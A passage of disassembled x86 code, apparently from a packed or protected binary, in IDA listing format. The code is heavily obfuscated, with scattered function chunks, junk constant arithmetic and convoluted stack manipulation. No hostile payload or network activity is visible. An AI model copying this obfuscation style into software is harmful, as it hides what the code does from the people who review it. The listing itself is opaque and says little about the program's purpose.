		push	small 2B6Ah
		mov	[esp+6+var_6], dx
		mov	dl, 8
		sub	bh, dl
		jmp	loc_5A3D81
; END OF FUNCTION CHUNK	FOR sub_599A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C42F:				; CODE XREF: sub_5AA2D1-1E78j
		jmp	loc_5A07E3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_59C434:				; CODE XREF: sub_599D0E+9E0Cj
		sub	bl, cl
		jmp	loc_59A262
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A917C


loc_59C43B:				; CODE XREF: sub_5A917C+3EE8j
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		jmp	loc_59D842
; END OF FUNCTION CHUNK	FOR sub_5A917C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C446:				; CODE XREF: sub_5AA2D1-616Cj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-0Ch+arg_8]
		pop	esp


loc_59C459:				; CODE XREF: sub_59C979+11E3j
		push	3C06h
		mov	[esp-0Ch+arg_8], ebx
		push	7F7Bh
		mov	[esp-8+arg_4], ecx
		push	esp
		jmp	loc_5A264A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABFD8


loc_59C46F:				; CODE XREF: sub_5ABFD8-9400j
		push	2839h
		mov	[esp+8+var_8], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		pop	[esp+4+var_4]
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_59B869
; END OF FUNCTION CHUNK	FOR sub_5ABFD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C49B:				; CODE XREF: sub_5AA2D1-860Aj
		or	ch, 0E7h
		jmp	loc_5A06A4
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_59C4A3:				; CODE XREF: sub_5A9EC5-FFBEj
		mov	eax, esp
		jmp	loc_59E628
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAB66


loc_59C4AA:				; CODE XREF: sub_5AAB66-E9ACj
		pop	esp
		jmp	loc_5A5EF4
; END OF FUNCTION CHUNK	FOR sub_5AAB66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C4B0:				; CODE XREF: sub_5AA2D1+5D67j
		sub	ebx, 622A059Ch
		add	ebx, eax
		push	edi
		mov	edi, 5E212B37h
		jmp	loc_5A840B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59C4C3:				; CODE XREF: sub_59C979+4BE1j
					; sub_5AA2D1:loc_5AB20Dj
		push	edx
		mov	edx, 53D922DAh
		and	edx, 7C8F69B1h
		jmp	loc_5AF466
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_59C4D4:				; CODE XREF: sub_5A118F+88DEj
		push	0D36h
		mov	[esp+4+var_4], ebp
		push	edi
		jmp	loc_5A1E1F
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59C4E2:				; CODE XREF: sub_59D6B8:loc_5A8ACEj
		sub	ebp, 868C349Ah
		add	ebp, 66154521h
		jmp	loc_5A0C48
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_59C4F3:				; CODE XREF: sub_599D0E-A76j
		xchg	dl, al
		add	al, 2Ch
		jmp	loc_5AD79B
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_59C4FC:				; CODE XREF: sub_5A913B-1A6Dj
		add	edx, 236926B1h
		sub	edx, 417C916Ah
		sub	esi, edx
		pop	edx
		xchg	esi, [esp+0]
		pop	esp
		mov	[esp-12h+arg_C+2], edi
		push	5475h
		mov	[esp+0], ecx
		mov	ecx, 2C9B75E0h
		push	esi
		jmp	loc_5A2BBC
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59C525:				; CODE XREF: sdfs____:005AD574j
					; sub_5992DA+16651j
		xor	esi, [esp+28h+var_2A+2]
		mov	esp, [esp+28h+var_2A+2]
		xor	edi, [esp+28h+var_2A+2]
		xor	[esp+28h+var_2A+2], edi
		xor	edi, [esp+28h+var_2A+2]
		mov	esp, [esp+28h+var_2A+2]
		jmp	loc_5996C5
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------


loc_59C53C:				; CODE XREF: sdfs____:0059A044j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_5AC63E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_59C548:				; CODE XREF: sub_5A0FFF+3F4Cj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5A20BE
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BE17


loc_59C55B:				; CODE XREF: sub_59BE17+Bj
		add	ecx, 38701923h
		jmp	loc_59DB10
; END OF FUNCTION CHUNK	FOR sub_59BE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_59C566:				; CODE XREF: sub_59E94B+2AD7j
		pop	ecx
		jmp	loc_59EDEA
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D4FD


loc_59C56C:				; CODE XREF: sub_59D4FD+C41Cj
		mov	edi, esi
		jmp	loc_5A2A52
; END OF FUNCTION CHUNK	FOR sub_59D4FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59C573:				; CODE XREF: sub_5A477C-5EE0j
		jmp	loc_5A6A7E
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------


loc_59C578:				; CODE XREF: sdfs____:005A1657j
		pop	edx
		jmp	loc_5AE255
; ---------------------------------------------------------------------------


loc_59C57E:				; CODE XREF: sdfs____:005A7E23j
		push	5FA277C5h
		pop	esi
		or	esi, 4E0C24EDh
		and	esi, 46AC7601h
		jp	loc_5A1DB4
		shl	esi, 1
		jz	loc_5994D5
		sub	esi, 8D58EBFEh
		push	edi
		mov	edi, esi
		push	edi
		mov	ebp, [esp]
		add	esp, 4
		pop	edi
		pop	esi
		add	[esp+4], ebp
		pop	ebp
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_5A1642
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C5CF:				; CODE XREF: sub_5AA2D1-CC93j
		mov	[esp+0], ebx
		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	edi
		push	esp
		pop	edi
		push	edx
		mov	edx, 4
		add	edi, 6FB829AAh
		add	edi, edx
		sub	edi, 6FB829AAh
		pop	edx
		jmp	loc_59BB34
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59C607:				; CODE XREF: sub_5A5EFF+7BE3j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		push	edi
		push	7B6Ch
		mov	[esp+8+var_8], ecx
		mov	ecx, 30B23F77h
		mov	edi, ecx
		pop	ecx
		or	edi, 2D762DDDh
		neg	edi
		jmp	loc_59D397
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2F58


loc_59C633:				; CODE XREF: sub_5A2F58-2647j
		mov	[esp+6+var_6], dx
		mov	dl, 0
		jmp	loc_5A3780
; END OF FUNCTION CHUNK	FOR sub_5A2F58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EB4


loc_59C63E:				; CODE XREF: sub_5A9EB4-4921j
		xor	[esp+4+var_4], esi
		jmp	loc_59E902
; END OF FUNCTION CHUNK	FOR sub_5A9EB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_59C646:				; CODE XREF: sub_5ADD33-B677j
		push	ecx
		mov	ecx, 7DAC73D6h
		sub	esi, ecx
		pop	ecx
		add	esi, ecx
		jmp	loc_5A3975
; END OF FUNCTION CHUNK	FOR sub_5ADD33

; =============== S U B	R O U T	I N E =======================================



sub_59C656	proc near		; CODE XREF: sub_59D37E-1DE4j

; FUNCTION CHUNK AT 005A9C4E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A9DEA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AD87A SIZE 0000000E BYTES

		push	ebp
		mov	ebp, 0ADD75BBh
		and	ebp, 2070761Eh
		jle	loc_5A9DEA
		jmp	loc_5AD87A
sub_59C656	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3C19


loc_59C66D:				; CODE XREF: sub_5A3C19+A7CAj
		mov	edi, 65441379h
		and	edi, 7A823A64h
		xor	edi, 47FE578Eh
		add	edi, 0D801BA16h
		add	ecx, edi
		push	[esp-8+arg_4]
		jmp	loc_5A33F2
; END OF FUNCTION CHUNK	FOR sub_5A3C19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59C68E:				; CODE XREF: sub_5992DA+D255j
		push	eax
		mov	eax, 33522446h
		xor	eax, 7F065D27h
		or	eax, 137455A2h
		jmp	loc_59D19E
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72CB


loc_59C6A3:				; CODE XREF: sub_5A72CB:loc_5A2183j
		sub	ebp, 0C83D6047h
		mov	eax, ebp
		jmp	loc_5AA984
; END OF FUNCTION CHUNK	FOR sub_5A72CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_59C6B0:				; CODE XREF: sub_5A118F+592j
		mov	word ptr [esp+8+var_8],	dx
		sub	esp, 4
		jmp	loc_5AE691
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59C6BF:				; CODE XREF: sub_59F1C3+1D81j
					; sub_5996E4+C025j ...
		push	0A29h
		jmp	loc_5ACA7D
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_59C6C9:				; CODE XREF: sub_59A26C+12676j
		xor	eax, [esp-0Ch+arg_8]
		jmp	loc_5AF528
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_59C6D1:				; CODE XREF: sub_5A63DC-D1E9j
		pop	ebx
		add	ecx, 39DA0680h
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		xor	ecx, [esp+4+var_4]
		jmp	loc_5AA257
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C6E7:				; CODE XREF: sub_5AA2D1-BD50j
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		inc	ebp
		jz	loc_59CA78
		inc	ebp
		shr	ebp, 8
		jmp	loc_5AC4A2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_59C6FB:				; CODE XREF: sub_5A9EC5+5B9Ej
		sub	al, 0F2h
		add	al, bl
		jmp	loc_5A5510
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59C704:				; CODE XREF: sub_5992DA+15B83j
		add	esi, 4
		jmp	loc_5AFB85
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_59C70F:				; CODE XREF: sub_59FC02+3BE3j
		xor	edx, edi
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		and	ebp, edx
		pop	edx
		xor	ebp, 21F11912h
		jmp	loc_5AB198
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_59C725:				; CODE XREF: sub_5A2E41+CDC4j
		add	ebx, 251D5C84h
		add	ebx, 32CA19AFh
		mov	edx, [esp+4+var_4]
		add	esp, 4
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		jmp	loc_5A5098
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_59C745:				; CODE XREF: sub_5A7BA0-3DD3j
		mov	eax, 47DC68A6h
		or	eax, 796F6A66h
		jmp	loc_59C346
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C754:				; CODE XREF: sub_5AA2D1+15DAj
		pop	di
		pop	bx
		or	di, 3975h
		sub	di, 5F71h
		jmp	loc_5AF620
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59C767:				; CODE XREF: sub_5A477C+9F5j
		xchg	edx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], esi
		jmp	loc_59F16C
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_59C773:				; CODE XREF: sub_5AF2D9-158E1j
		mov	[esp+8+var_8], ecx
		jmp	sub_5A4CF3
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C77B:				; CODE XREF: sub_5AA2D1:loc_59EBF5j
		add	edx, 0E76B7FD6h
		dec	edx
		jo	loc_5A6021
		jmp	loc_5A133D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72CB


loc_59C78D:				; CODE XREF: sub_5A72CB-65DFj
		pop	ebp
		jmp	sub_5A86D0
; END OF FUNCTION CHUNK	FOR sub_5A72CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C95F


loc_59C793:				; CODE XREF: sub_59C95F+CE5Dj
		mov	[esp-4+arg_0], edi
		jmp	loc_5A0A5F
; END OF FUNCTION CHUNK	FOR sub_59C95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C79B:				; CODE XREF: sub_5AA2D1+5C25j
		mov	esi, 4ED65286h
		push	eax
		jmp	loc_5A75E0
; ---------------------------------------------------------------------------


loc_59C7A6:				; CODE XREF: sub_5AA2D1-4538j
		mov	[esp+8+var_8], ebx
		jmp	loc_5A2E1B
; ---------------------------------------------------------------------------


loc_59C7AE:				; CODE XREF: sub_5AA2D1-2F48j
		add	ebx, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_599D8A
; ---------------------------------------------------------------------------


loc_59C7C2:				; CODE XREF: sub_5AA2D1+5967j
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_5998C6
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59C7CA:				; CODE XREF: sub_59C979+4ADEj
		pop	ecx
		pop	dword ptr [esp+2+var_2]
		mov	esp, [esp+0]
		mov	[esp+0], eax
		pop	dword ptr [edi+40h]
		jmp	loc_59E41D
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A96D8


loc_59C7DC:				; CODE XREF: sub_5A96D8+33D6j
		push	dword ptr [edi+eax*4]
		push	ebx
		jmp	loc_5A14ED
; END OF FUNCTION CHUNK	FOR sub_5A96D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC478


loc_59C7E5:				; CODE XREF: sub_5AC478-D9CCj
		push	edi
		mov	edi, 1CE35896h
		jmp	loc_59E228
; END OF FUNCTION CHUNK	FOR sub_5AC478
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A503A


loc_59C7F0:				; CODE XREF: sub_5AD243:loc_59A63Fj
					; sub_5A503A-6062j
		dec	eax
		jno	loc_5A0A5A
		jmp	loc_5A176B
; END OF FUNCTION CHUNK	FOR sub_5A503A
; ---------------------------------------------------------------------------
		push	esp
		pop	edi
		jmp	loc_59D04D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59C803:				; CODE XREF: sub_5A477C-3427j
		push	edx
		jmp	loc_5A2C97
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_59C809:				; CODE XREF: sub_5AF294-FBB1j
					; sub_5A63DC+8E92j
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_59E65E
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59C82C:				; CODE XREF: sub_5992DA:loc_59E2BEj
		not	edi
		sub	esp, 4
		jmp	loc_59B3A4
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599884


loc_59C836:				; CODE XREF: sub_599884+10EB4j
		pop	ebx
		mov	[edx], cl
		pop	edx
		pop	ecx
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_599884
; ---------------------------------------------------------------------------


loc_59C840:				; CODE XREF: sdfs____:005A068Cj
		add	esp, 4
		sub	eax, 23833CE6h
		pop	ecx
		jmp	sub_5A3947
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600D


loc_59C851:				; CODE XREF: sub_5A600D-CD08j
		mov	bl, 57h
		mov	dl, 0F8h
		sub	dl, bl
		pop	ebx
		and	dl, 0EBh
		push	ecx
		mov	ch, 6
		neg	ch
		xor	ch, 6Ch
		add	ch, 0AAh
		add	dl, ch
		pop	ecx
		jmp	loc_5A4775
; END OF FUNCTION CHUNK	FOR sub_5A600D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BAD3


loc_59C86E:				; CODE XREF: sub_59BAD3+ADA3j
		pop	eax
		sub	esp, 4
		mov	[esp+8+var_8], edx
		mov	edx, 7E5D1AF0h
		push	esi
		mov	esi, 479D1180h
		not	esi
		inc	esi
		shr	esi, 2
		push	eax
		mov	eax, 282149Fh
		xor	eax, 163712DAh
		sub	eax, 1A7455F8h
		xor	eax, 0F8AC0440h
		xor	esi, eax
		mov	eax, [esp+10h+var_10]
		jmp	loc_5A0F30
; END OF FUNCTION CHUNK	FOR sub_59BAD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_59C8A5:				; CODE XREF: sub_5A9EBF-2846j
		mov	ebp, 51962AA5h
		jmp	loc_5A901C
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_59C8AF:				; CODE XREF: sub_5ADD33-10F6Bj
		shr	eax, 5
		shr	eax, 8
		push	esi
		jmp	loc_5A1F7A
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599664


loc_59C8BB:				; CODE XREF: sub_599664+112A6j
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp+0]
		pop	esp
		push	small 4862h
		mov	[esp+0], dx
		jmp	loc_5AB9E6
; END OF FUNCTION CHUNK	FOR sub_599664
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A26E8


loc_59C8D7:				; CODE XREF: sub_5A26E8+7j
		add	ebp, 4
		jmp	loc_59B04F
; END OF FUNCTION CHUNK	FOR sub_5A26E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59C8E2:				; CODE XREF: sub_5992DA+EE22j
		add	esp, 4
		mov	ecx, ebp
		mov	ebp, [esp+30h+var_32+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5A3FA8
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C901:				; CODE XREF: sub_5AA2D1+53F3j
		pop	ebp
		sub	edi, 23CC01FCh
		add	edx, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		xchg	edx, [esp+4+var_4]
		jmp	loc_59CFB8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59C918:				; CODE XREF: sub_5A477C+Ej
		add	esi, 4
		add	esi, 4
		jmp	loc_5AD7AA
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F074


loc_59C929:				; CODE XREF: sub_59F074+AF82j
		shr	edx, 4
		dec	edx
		jmp	loc_59DBCC
; END OF FUNCTION CHUNK	FOR sub_59F074
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59C932:				; CODE XREF: sub_59D6B8+D1ECj
		sub	ebx, 45A25DB3h
		sub	ebx, 79A97D1Ah
		add	ebx, edx
		jmp	loc_59E443
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_59C945:				; CODE XREF: sub_59A9E9+EAA6j
		mov	bl, ah
		mov	cl, bl
		pop	ebx
		pop	eax
		pop	edx
		pop	ebx
		push	edx
		push	0
		pop	edx
		add	edx, 6BCE3BF8h
		jmp	sub_599884
; END OF FUNCTION CHUNK	FOR sub_59A9E9

; =============== S U B	R O U T	I N E =======================================



sub_59C95F	proc near		; CODE XREF: sub_5998AD+6649j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059C224 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059C793 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0A5F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A97A7 SIZE 0000001A BYTES

		push	ebp
		jmp	loc_59C224
sub_59C95F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C965:				; CODE XREF: sub_5AA2D1-FFE3j
		add	esi, 19AB0059h
		add	esi, 7278ECFFh
		sub	edi, esi
		pop	esi
		jmp	loc_59CD1D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_59C979	proc near		; CODE XREF: sub_5AA2D1-A064j

var_14		= word ptr -14h
var_10		= dword	ptr -10h
var_A		= dword	ptr -0Ah
var_6		= dword	ptr -6
var_2		= word ptr -2
arg_2		= dword	ptr  6
arg_6		= dword	ptr  0Ah
arg_A		= dword	ptr  0Eh
arg_E		= dword	ptr  12h

; FUNCTION CHUNK AT 00599582 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00599F29 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059A2F3 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0059AA90 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059B0B8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C202 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059C4C3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059C7CA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059CA17 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059CA94 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059CD2C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059CD63 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059CDD3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059CFF4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059D2CC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D376 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D534 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059D6E7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059DB5A SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059DC2D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059DC87 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059DFA6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059E086 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E41D SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059E4D3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059E60F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059E789 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059E8D2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059E9C8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059EE82 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059EFAD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F4A6 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059F634 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F7E8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059FC80 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059FED3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A0980 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A0DC5 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005A0FAB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A1448 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A153F SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A1756 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A1E30 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A200F SIZE 0000003D BYTES
; FUNCTION CHUNK AT 005A210C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A21D1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A2324 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A25CE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A263D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2957 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A2DE3 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A303E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A31E6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A34BD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A374D SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005A3799 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A3856 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A44A2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A45C5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A4BBF SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005A4C63 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4CA5 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A5176 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A51C4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A5393 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A552B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A56C9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A59EF SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A5ACD SIZE 00000025 BYTES
